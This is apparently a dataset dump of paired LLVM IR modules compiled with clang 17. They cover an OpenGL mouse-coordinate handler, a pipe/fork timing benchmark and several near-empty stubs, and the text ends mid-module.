attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp23am2sif.c'
source_filename = "/tmp/tmp23am2sif.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp23am2sif.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpo3fjx8fo.c'
source_filename = "/tmp/tmpo3fjx8fo.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpo3fjx8fo.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmppgb8e9qz.c'
source_filename = "/tmp/tmppgb8e9qz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppgb8e9qz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvt_gobi7.c'
source_filename = "/tmp/tmpvt_gobi7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @main() #0 {
%1 = call signext i8 (...) @fonction()
ret i8 %1
}
declare signext i8 @fonction(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvt_gobi7.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local signext i8 @main() #0 {
%1 = call signext i8 (...) @fonction()
ret i8 %1
}
declare signext i8 @fonction(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp86sau5kh.c'
source_filename = "/tmp/tmp86sau5kh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@GLUT_DOWN = dso_local global i32 0, align 4
@GL_VIEWPORT = dso_local global i32 0, align 4
@GL_MODELVIEW_MATRIX = dso_local global i32 0, align 4
@GL_PROJECTION_MATRIX = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [38 x i8] c"Coordinates at cursor are (%4d, %4d)\0A\00", align 1
@.str.1 = private unnamed_addr constant [40 x i8] c"World coords at z=0.0 are (%f, %f, %f)\0A\00", align 1
@.str.2 = private unnamed_addr constant [40 x i8] c"World coords at z=1.0 are (%f, %f, %f)\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @mouse(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca [4 x i32], align 16
%10 = alloca [16 x double], align 16
%11 = alloca [16 x double], align 16
%12 = alloca i32, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca double, align 8
store i32 %0, ptr %5, align 4
store i32 %1, ptr %6, align 4
store i32 %2, ptr %7, align 4
store i32 %3, ptr %8, align 4
%16 = load i32, ptr %5, align 4
switch i32 %16, label %73 [
i32 129, label %17
i32 128, label %66
]
17: ; preds = %4
%18 = load i32, ptr %6, align 4
%19 = load i32, ptr @GLUT_DOWN, align 4
%20 = icmp eq i32 %18, %19
br i1 %20, label %21, label %65
21: ; preds = %17
%22 = load i32, ptr @GL_VIEWPORT, align 4
%23 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 0
%24 = call i32 @glGetIntegerv(i32 noundef %22, ptr noundef %23)
%25 = load i32, ptr @GL_MODELVIEW_MATRIX, align 4
%26 = getelementptr inbounds [16 x double], ptr %10, i64 0, i64 0
%27 = call i32 @glGetDoublev(i32 noundef %25, ptr noundef %26)
%28 = load i32, ptr @GL_PROJECTION_MATRIX, align 4
%29 = getelementptr inbounds [16 x double], ptr %11, i64 0, i64 0
%30 = call i32 @glGetDoublev(i32 noundef %28, ptr noundef %29)
%31 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 3
%32 = load i32, ptr %31, align 4
%33 = load i32, ptr %8, align 4
%34 = sub nsw i32 %32, %33
%35 = sub nsw i32 %34, 1
store i32 %35, ptr %12, align 4
%36 = load i32, ptr %7, align 4
%37 = sitofp i32 %36 to double
%38 = load i32, ptr %12, align 4
%39 = sitofp i32 %38 to double
%40 = call i32 (ptr, double, double, ...) @printf(ptr noundef @.str, double noundef %37, double noundef %39)
%41 = load i32, ptr %7, align 4
%42 = sitofp i32 %41 to double
%43 = load i32, ptr %12, align 4
%44 = sitofp i32 %43 to double
%45 = getelementptr inbounds [16 x double], ptr %10, i64 0, i64 0
%46 = getelementptr inbounds [16 x double], ptr %11, i64 0, i64 0
%47 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 0
%48 = call i32 @gluUnProject(double noundef %42, double noundef %44, double noundef 0.000000e+00, ptr noundef %45, ptr noundef %46, ptr noundef %47, ptr noundef %13, ptr noundef %14, ptr noundef %15)
%49 = load double, ptr %13, align 8
%50 = load double, ptr %14, align 8
%51 = load double, ptr %15, align 8
%52 = call i32 (ptr, double, double, ...) @printf(ptr noundef @.str.1, double noundef %49, double noundef %50, double noundef %51)
%53 = load i32, ptr %7, align 4
%54 = sitofp i32 %53 to double
%55 = load i32, ptr %12, align 4
%56 = sitofp i32 %55 to double
%57 = getelementptr inbounds [16 x double], ptr %10, i64 0, i64 0
%58 = getelementptr inbounds [16 x double], ptr %11, i64 0, i64 0
%59 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 0
%60 = call i32 @gluUnProject(double noundef %54, double noundef %56, double noundef 1.000000e+00, ptr noundef %57, ptr noundef %58, ptr noundef %59, ptr noundef %13, ptr noundef %14, ptr noundef %15)
%61 = load double, ptr %13, align 8
%62 = load double, ptr %14, align 8
%63 = load double, ptr %15, align 8
%64 = call i32 (ptr, double, double, ...) @printf(ptr noundef @.str.2, double noundef %61, double noundef %62, double noundef %63)
br label %65
65: ; preds = %21, %17
br label %74
66: ; preds = %4
%67 = load i32, ptr %6, align 4
%68 = load i32, ptr @GLUT_DOWN, align 4
%69 = icmp eq i32 %67, %68
br i1 %69, label %70, label %72
70: ; preds = %66
%71 = call i32 @exit(i32 noundef 0) #3
unreachable
72: ; preds = %66
br label %74
73: ; preds = %4
br label %74
74: ; preds = %73, %72, %65
ret void
}
declare i32 @glGetIntegerv(i32 noundef, ptr noundef) #1
declare i32 @glGetDoublev(i32 noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, double noundef, double noundef, ...) #1
declare i32 @gluUnProject(double noundef, double noundef, double noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp86sau5kh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@GLUT_DOWN = dso_local global i32 0, align 4
@GL_VIEWPORT = dso_local global i32 0, align 4
@GL_MODELVIEW_MATRIX = dso_local global i32 0, align 4
@GL_PROJECTION_MATRIX = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [38 x i8] c"Coordinates at cursor are (%4d, %4d)\0A\00", align 1
@.str.1 = private unnamed_addr constant [40 x i8] c"World coords at z=0.0 are (%f, %f, %f)\0A\00", align 1
@.str.2 = private unnamed_addr constant [40 x i8] c"World coords at z=1.0 are (%f, %f, %f)\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @mouse(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3) #0 {
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca [4 x i32], align 16
%10 = alloca [16 x double], align 16
%11 = alloca [16 x double], align 16
%12 = alloca i32, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca double, align 8
store i32 %0, ptr %5, align 4
store i32 %1, ptr %6, align 4
store i32 %2, ptr %7, align 4
store i32 %3, ptr %8, align 4
%16 = load i32, ptr %5, align 4
switch i32 %16, label %73 [
i32 129, label %17
i32 128, label %66
]
17: ; preds = %4
%18 = load i32, ptr %6, align 4
%19 = load i32, ptr @GLUT_DOWN, align 4
%20 = icmp eq i32 %18, %19
br i1 %20, label %21, label %65
21: ; preds = %17
%22 = load i32, ptr @GL_VIEWPORT, align 4
%23 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 0
%24 = call i32 @glGetIntegerv(i32 noundef %22, ptr noundef %23)
%25 = load i32, ptr @GL_MODELVIEW_MATRIX, align 4
%26 = getelementptr inbounds [16 x double], ptr %10, i64 0, i64 0
%27 = call i32 @glGetDoublev(i32 noundef %25, ptr noundef %26)
%28 = load i32, ptr @GL_PROJECTION_MATRIX, align 4
%29 = getelementptr inbounds [16 x double], ptr %11, i64 0, i64 0
%30 = call i32 @glGetDoublev(i32 noundef %28, ptr noundef %29)
%31 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 3
%32 = load i32, ptr %31, align 4
%33 = load i32, ptr %8, align 4
%34 = sub nsw i32 %32, %33
%35 = sub nsw i32 %34, 1
store i32 %35, ptr %12, align 4
%36 = load i32, ptr %7, align 4
%37 = sitofp i32 %36 to double
%38 = load i32, ptr %12, align 4
%39 = sitofp i32 %38 to double
%40 = call i32 (ptr, double, double, ...) @printf(ptr noundef @.str, double noundef %37, double noundef %39)
%41 = load i32, ptr %7, align 4
%42 = sitofp i32 %41 to double
%43 = load i32, ptr %12, align 4
%44 = sitofp i32 %43 to double
%45 = getelementptr inbounds [16 x double], ptr %10, i64 0, i64 0
%46 = getelementptr inbounds [16 x double], ptr %11, i64 0, i64 0
%47 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 0
%48 = call i32 @gluUnProject(double noundef %42, double noundef %44, double noundef 0.000000e+00, ptr noundef %45, ptr noundef %46, ptr noundef %47, ptr noundef %13, ptr noundef %14, ptr noundef %15)
%49 = load double, ptr %13, align 8
%50 = load double, ptr %14, align 8
%51 = load double, ptr %15, align 8
%52 = call i32 (ptr, double, double, ...) @printf(ptr noundef @.str.1, double noundef %49, double noundef %50, double noundef %51)
%53 = load i32, ptr %7, align 4
%54 = sitofp i32 %53 to double
%55 = load i32, ptr %12, align 4
%56 = sitofp i32 %55 to double
%57 = getelementptr inbounds [16 x double], ptr %10, i64 0, i64 0
%58 = getelementptr inbounds [16 x double], ptr %11, i64 0, i64 0
%59 = getelementptr inbounds [4 x i32], ptr %9, i64 0, i64 0
%60 = call i32 @gluUnProject(double noundef %54, double noundef %56, double noundef 1.000000e+00, ptr noundef %57, ptr noundef %58, ptr noundef %59, ptr noundef %13, ptr noundef %14, ptr noundef %15)
%61 = load double, ptr %13, align 8
%62 = load double, ptr %14, align 8
%63 = load double, ptr %15, align 8
%64 = call i32 (ptr, double, double, ...) @printf(ptr noundef @.str.2, double noundef %61, double noundef %62, double noundef %63)
br label %65
65: ; preds = %21, %17
br label %74
66: ; preds = %4
%67 = load i32, ptr %6, align 4
%68 = load i32, ptr @GLUT_DOWN, align 4
%69 = icmp eq i32 %67, %68
br i1 %69, label %70, label %72
70: ; preds = %66
%71 = call i32 @exit(i32 noundef 0) #3
unreachable
72: ; preds = %66
br label %74
73: ; preds = %4
br label %74
74: ; preds = %73, %72, %65
ret void
}
declare i32 @glGetIntegerv(i32 noundef, ptr noundef) #1
declare i32 @glGetDoublev(i32 noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, double noundef, double noundef, ...) #1
declare i32 @gluUnProject(double noundef, double noundef, double noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpy6maw2sh.c'
source_filename = "/tmp/tmpy6maw2sh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [10 x i8] c"512KB.txt\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@.str.2 = private unnamed_addr constant [19 x i8] c"Error opening file\00", align 1
@.str.3 = private unnamed_addr constant [45 x i8] c"/home/george/Documents/C/results/pipe64K.txt\00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"wt+\00", align 1
@.str.5 = private unnamed_addr constant [31 x i8] c"read %d bytes from the pipe2 \0A\00", align 1
@.str.6 = private unnamed_addr constant [5 x i8] c"read\00", align 1
@.str.7 = private unnamed_addr constant [5 x i8] c"fork\00", align 1
@.str.8 = private unnamed_addr constant [35 x i8] c"total cycles for round trip: %lld\0A\00", align 1
@.str.9 = private unnamed_addr constant [40 x i8] c"time spend (half of bi-direction): %Lf\0A\00", align 1
@.str.10 = private unnamed_addr constant [5 x i8] c"%Lf\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i64, align 8
%7 = alloca i64, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca [2 x i32], align 4
%11 = alloca [2 x i32], align 4
%12 = alloca [65536 x i8], align 16
%13 = alloca i32, align 4
%14 = alloca ptr, align 8
%15 = alloca [65536 x i8], align 16
%16 = alloca [65536 x i8], align 16
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca x86_fp80, align 16
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%21 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1)
store ptr %21, ptr %14, align 8
%22 = load ptr, ptr %14, align 8
%23 = icmp eq ptr %22, null
br i1 %23, label %24, label %26
24: ; preds = %2
%25 = call i32 @perror(ptr noundef @.str.2)
ret i32 -1
26: ; preds = %2
%27 = getelementptr inbounds [65536 x i8], ptr %15, i64 0, i64 0
%28 = load ptr, ptr %14, align 8
%29 = call ptr @fgets(ptr noundef %27, i32 noundef 65536, ptr noundef %28)
%30 = icmp ne ptr %29, null
br i1 %30, label %31, label %36
31: ; preds = %26
%32 = getelementptr inbounds [65536 x i8], ptr %16, i64 0, i64 0
%33 = getelementptr inbounds [65536 x i8], ptr %15, i64 0, i64 0
%34 = call i32 @memcpy(ptr noundef %32, ptr noundef %33, i32 noundef 65536)
%35 = getelementptr inbounds [65536 x i8], ptr %16, i64 0, i64 65536
store i8 0, ptr %35, align 16
br label %36
36: ; preds = %31, %26
%37 = load ptr, ptr %14, align 8
%38 = call i32 @fclose(ptr noundef %37)
%39 = getelementptr inbounds [65536 x i8], ptr %16, i64 0, i64 0
store ptr %39, ptr %17, align 8
%40 = call ptr @fopen(ptr noundef @.str.3, ptr noundef @.str.4)
store ptr %40, ptr %18, align 8
%41 = icmp eq ptr %40, null
br i1 %41, label %42, label %45
42: ; preds = %36
%43 = call i32 @perror(ptr noundef @.str.3)
%44 = call i32 @exit(i32 noundef 1) #3
unreachable
45: ; preds = %36
store i32 0, ptr %19, align 4
%46 = load i32, ptr %19, align 4
br label %47
47: ; preds = %110, %45
%48 = load i32, ptr %19, align 4
%49 = icmp slt i32 %48, 100
br i1 %49, label %50, label %113
50: ; preds = %47
%51 = getelementptr inbounds [2 x i32], ptr %10, i64 0, i64 0
%52 = call i32 @pipe(ptr noundef %51)
%53 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 0
%54 = call i32 @pipe(ptr noundef %53)
%55 = call i64 (...) @rdtsc()
store i64 %55, ptr %6, align 8
%56 = call i32 (...) @fork()
store i32 %56, ptr %8, align 4
switch i32 %56, label %64 [
i32 0, label %57
i32 -1, label %88
]
57: ; preds = %50
%58 = getelementptr inbounds [2 x i32], ptr %10, i64 0, i64 0
%59 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 0
%60 = load ptr, ptr %17, align 8
%61 = getelementptr inbounds [65536 x i8], ptr %12, i64 0, i64 0
%62 = call i32 @runpipe(ptr noundef %58, ptr noundef %59, ptr noundef %60, ptr noundef %61)
%63 = call i32 @exit(i32 noundef 0) #3
unreachable
64: ; preds = %50
br label %65
65: ; preds = %68, %64
%66 = call i32 @wait(ptr noundef %9)
store i32 %66, ptr %8, align 4
%67 = icmp ne i32 %66, -1
br i1 %67, label %68, label %69
68: ; preds = %65
br label %65, !llvm.loop !6
69: ; preds = %65
%70 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 1
%71 = load i32, ptr %70, align 4
%72 = call i32 @close(i32 noundef %71)
%73 = getelementptr inbounds [2 x i32], ptr %11, i64 0, i64 0
%74 = load i32, ptr %73, align 4
%75 = getelementptr inbounds [65536 x i8], ptr %12, i64 0, i64 0
%76 = call i32 @read(i32 noundef %74, ptr noundef %75, i32 noundef 65536)
store i32 %76, ptr %13, align 4
%77 = icmp sge i32 %76, 0
br i1 %77, label %78, label %85
78: ; preds = %69
%79 = load i32, ptr %13, align 4
%80 = sext i32 %79 to i64
%81 = getelementptr inbounds [65536 x i8], ptr %12, i64 0, i64 %80
store i8 0, ptr %81, align 1
%82 = load i32, ptr %13, align 4
%83 = sitofp i32 %82 to x86_fp80
%84 = call i32 @printf(ptr noundef @.str.5, x86_fp80 noundef %83)
br label %87
85: ; preds = %69
%86 = call i32 @perror(ptr noundef @.str.6)
br label %87
87: ; preds = %85, %78
br label %91
88: ; preds = %50
%89 = call i32 @perror(ptr noundef @.str.7)
%90 = call i32 @exit(i32 noundef 1) #3
unreachable
91: ; preds = %87
%92 = call i64 (...) @rdtsc()
store i64 %92, ptr %7, align 8
%93 = load i64, ptr %7, align 8
%94 = load i64, ptr %6, align 8
%95 = sub i64 %93, %94
%96 = uitofp i64 %95 to x86_fp80
%97 = call i32 @printf(ptr noundef @.str.8, x86_fp80 noundef %96)
%98 = load i64, ptr %7, align 8
%99 = load i64, ptr %6, align 8
%100 = sub i64 %98, %99
%101 = uitofp i64 %100 to x86_fp80
%102 = fdiv x86_fp80 %101, 0xK401F9AF8DA0000000000
store x86_fp80 %102, ptr %20, align 16
%103 = load x86_fp80, ptr %20, align 16
%104 = call i32 @printf(ptr noundef @.str.9, x86_fp80 noundef %103)
%105 = load ptr, ptr %18, align 8
%106 = load x86_fp80, ptr %20, align 16
%107 = call i32 @fprintf(ptr noundef %105, ptr noundef @.str.10, x86_fp80 noundef %106)
%108 = load ptr, ptr %18, align 8
%109 = call i32 @fflush(ptr noundef %108)
br label %110
110: ; preds = %91
%111 = load i32, ptr %19, align 4
%112 = add nsw i32 %111, 1
store i32 %112, ptr %19, align 4
br label %47, !llvm.loop !8
113: ; preds = %47
%114 = load ptr, ptr %18, align 8
%115 = call i32 @fclose(ptr noundef %114)
%116 = call i32 @exit(i32 noundef 0) #3
unreachable
}
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @perror(ptr noundef) #1
declare ptr @fgets(ptr noundef, i32 noundef, ptr noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare i32 @pipe(ptr noundef) #1
declare i64 @rdtsc(...) #1
declare i32 @fork(...) #1
declare i32 @runpipe(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @wait(ptr noundef) #1
declare i32 @close(i32 noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, x86_fp80 noundef) #1
declare i32 @fprintf(ptr noundef, ptr noundef, x86_fp80 noundef) #1
declare i32 @fflush(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpy6maw2sh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [10 x i8] c"512KB.txt\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@.str.2 = private unnamed_addr constant [19 x i8] c"Error opening file\00", align 1
@.str.3 = private unnamed_addr constant [45 x i8] c"/home/george/Documents/C/results/pipe64K.txt\00", align 1
@.str.4 = private unnamed_addr constant [4 x i8] c"wt+\00", align 1
@.str.5 = private unnamed_addr constant [31 x i8] c"read %d bytes from the pipe2 \0A\00", align 1
